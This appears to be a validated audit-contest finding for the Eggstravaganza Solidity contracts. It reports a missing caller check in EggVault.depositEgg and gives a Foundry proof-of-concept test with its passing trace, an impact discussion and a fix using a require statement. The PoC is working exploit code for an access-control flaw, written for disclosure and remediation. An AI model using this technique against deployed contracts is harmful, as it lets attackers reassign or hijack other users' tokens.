Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Missing require statement in `EggVault.deposit` allows unauthorized transfer of token by bypassing `EggHuntGame::depositEggToVault`

Summary

The EggVault::depositEgg(uint256 tokenId, address depositor) method doesn't ensure that the call emanates from the EggHuntGame address. This allows an attacker to deposit an egg with a depositor address of another user. This does not allign with EggVault::withdrawEgg method's following statement: require(eggDepositors[tokenId] == msg.sender, "Not the original depositor");.

Vulnerability Details

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import "../src/EggHuntGame.sol";
import "../src/EggstravaganzaNFT.sol";
import "../src/EggVault.sol";
/**
* This PoC demonstrates the exploitation of bypassing `EggHuntGame::depositEggToVault`
* allowing unauthorized transfer of token due to a missing require statement in `EggVault.deposit`.
*/
contract EggVaultUnauthorizedEggDepositPoC is Test {
EggstravaganzaNFT nft;
EggVault vault;
EggHuntGame game;
address owner;
address attacker;
address user;
function setUp() public {
owner = address(this);
attacker = address(0x1);
user = address(0x2);
nft = new EggstravaganzaNFT("Eggstravaganza", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
nft.setGameContract(address(game));
vault.setEggNFT(address(nft));
}
function testExploitUnauthorizedEggDeposit() public {
uint256 tokenId = 20;
// The game mint an egg for the attacker.
vm.startPrank(address(game));
nft.mintEgg(attacker, tokenId);
assertEq(nft.ownerOf(tokenId), attacker);
vm.stopPrank();
// The attacker bypasses the EggHuntGame.depositEgg() method and transfers
// the egg directly to the vault with a different depositor address.
vm.startPrank(attacker);
nft.transferFrom(attacker, address(vault), tokenId);
vault.depositEgg(tokenId, user);
assertEq(nft.ownerOf(tokenId), address(vault));
vm.stopPrank();
// The user withdraw the attacker's egg and owns it.
vm.startPrank(user);
vault.withdrawEgg(tokenId);
assertEq(nft.ownerOf(tokenId), user);
vm.stopPrank();
}
}

Trace:

**\[⠊**] Solc 0.8.28 finished in 816.12ms
Compiler run successful!
Ran 1 test for test/EggVaultUnauthorizedEggDepositPoC.t.sol:EggVaultUnauthorizedEggDepositPoC
\[PASS] testExploitUnauthorizedEggDeposit() (gas: 168413)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.20ms (374.87µs CPU time)
Ran 1 test suite in 7.75ms (1.20ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Unauthorized deposits can disrupt user expectations and game mechanics.

While this issue is Low severity on its own, when combined with a previously reported High severity bug (weak PRNG in EggHuntGame::searchForEgg) that allows unlimited minting of eggs, this bug enables mass griefing.

Specifically, an attacker can mint arbitrary eggs using another attack vector then flood the vault with deposits attributed to other users. This could pollute game state and mislead off-chain logic.

Tools Used

foundry

Recommendations

Ensure that the call came from the EggHuntGame address, either with a require statement or an RBAC modifier:

contract EggVault is Ownable {
...
EggHuntGame public eggGame;
...
/// @notice Records the deposit of an egg (NFT).
/// The NFT must already have been transferred to the vault.
function depositEgg(uint256 tokenId, address depositor) public {
require(msg.sender == address(eggGame), "Unauthorized egg deposit");
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}
...
}
Updates

Lead Judging Commences

m3dython Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!